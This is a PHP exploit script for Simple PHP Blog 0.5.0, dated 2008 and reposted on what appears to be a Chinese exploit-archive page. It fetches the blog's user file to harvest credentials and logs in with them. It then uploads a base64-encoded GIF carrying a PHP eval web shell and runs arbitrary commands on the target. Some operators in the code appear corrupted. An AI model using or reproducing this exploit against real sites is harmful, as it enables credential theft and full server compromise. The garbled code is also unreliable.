/*
sIMPLE php bLOG 0.5.0 eXPLOIT
bY mAXzA 2008
*/
function curl($url,$postvar){
global $cook;
$ch = curl_init( $url );
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_HEADER, 1);
curl_setopt ($ch, CURLOPT_REFERER,"$url");
if (strlen($postvar)<3) $postvar="123";
curl_setopt ($ch, CURLOPT_POSTFIELDS, $postvar);
if (strlen($cook)>3)
curl_setopt ($ch, CURLOPT_COOKIE, "$cook");
$res = curl_exec ($ch);$err=curl_error ( $ch );if ($err) print "

---

$err

---

";
curl_close($ch);
return $res;
} function error($msg){
print "

---

$msg

---

\n

Not Exploitable";exit;
} extract($_POST);extract($_GET); print "

URL:
";
 if (strlen($eval)>3){
 $eval=stripslashes($eval);
 print "\nEnter PHP Command:\n$eval";
 print "
";
 $res=curl("$url/images/emoticons/sphp.php","z=$eval");
 $res=strstr($res,"GIF89a");
 print substr($res,41);exit;
 } if (strlen($url)>10)
 {
 print "\n
Trying to Get /config/users.php...";flush();
 $res=curl($url."/config/users.php","");
 if (strstr($res,'|')) print "Done!\n\n$res";
 else error("\n\nUsername & Password Not Found\n\n$res"); print "\n
Trying to Get Username & Password...";flush();
 $res=str_replace("\r\n","\n",$res);
 $res=substr($res,strpos($res,"\n\n") 2);
 $line=explode("\n",$res);$n=count($line)-1;
 if ($n) {
 print "\nDone! Found - $n users:\n";
 for ($x=0;$x<$n;$x ){
 $up=explode("|",$line[$x]);$user[$x]=$up[1];$pass[$x]=substr($up[2],0,2);
 print "\nUsername - ".$up[1]."\tPassword - ".$up[2];
 }
 } print "\n
Trying to Login...";flush();
 $postvar="user=$user[0]&pass=$pass[0]&";
 $res=curl($url."/login_cgi.php","$postvar");
 $cook=strstr($res,'Set-Cookie: sid=');
 $cook=substr($cook,12,strpos($cook,';')-12);
 if ($cook) print "\n\nDone... Cookie - $cook";else error("\n
Error To Login
\n\n\n$res"); print "\n
Trying to Upload Emoticon...";flush();
 $buf="R0lGODlhAQABAIAAAP///wAAACH5BAEUAAAALAAAAAABAAEAAAICRAE8PyBldmFsKHN0cmlwc2xhc2hlcygkX1BPU1Rbel0pKTtleGl0Oz8 Ow==";
 if (@filesize('sphp.php')!=82){
 $f=fopen('sphp.php',"w");fwrite($f,base64_decode($buf));fclose($f);
 }
 $f=getcwd()."/sphp.php";
 $res=curl($url."/emoticons.php",array('user_emot'=>"@$f"));
 if (strstr($res,"Success!")) print "\n\nDone! Exploit path - $url/images/emoticons/sphp.php"; else error("\n
Error To Upload
\n\n\n$res"); print "\n
Trying to Exploit...";flush();
 $res=curl($url."/images/emoticons/sphp.php","z=print 20080824;");
 if (strstr($res,"20080824")) print "\n\nDone! Exploit Working!"; else error("\n
Error To Exploit
\n\n\n$res"); print "\n
Trying to Logout...";flush();
 $res=curl($url."/logout.php","");
 if (strstr($res,"You are now logged out")) print "\n\nDone!"; else error("\n
Error To Logout
\n\n\n$res");
 print "\nEnter PHP Command:\n";
 }
 print "";
 ?>


                
提示：
                    本文由神整理自网络，如有侵权请联系本站删除！
                    

                    本站声明： 

                    1、本站所有资源均来源于互联网，不保证100%完整、不提供任何技术支持； 

                    2、本站所发布的文章以及附件仅限用于学习和研究目的;不得将用于商业或者非法用途；否则由此产生的法律后果，本站概不负责！
                
                

                

                                            
上一篇：Acoustica Mixcraft _Exploit_网络安全_
                                                                
下一篇：Ultra Office ActiveX Control Remote Arbitrary File Corruption Exploit _Exploit_网络安全_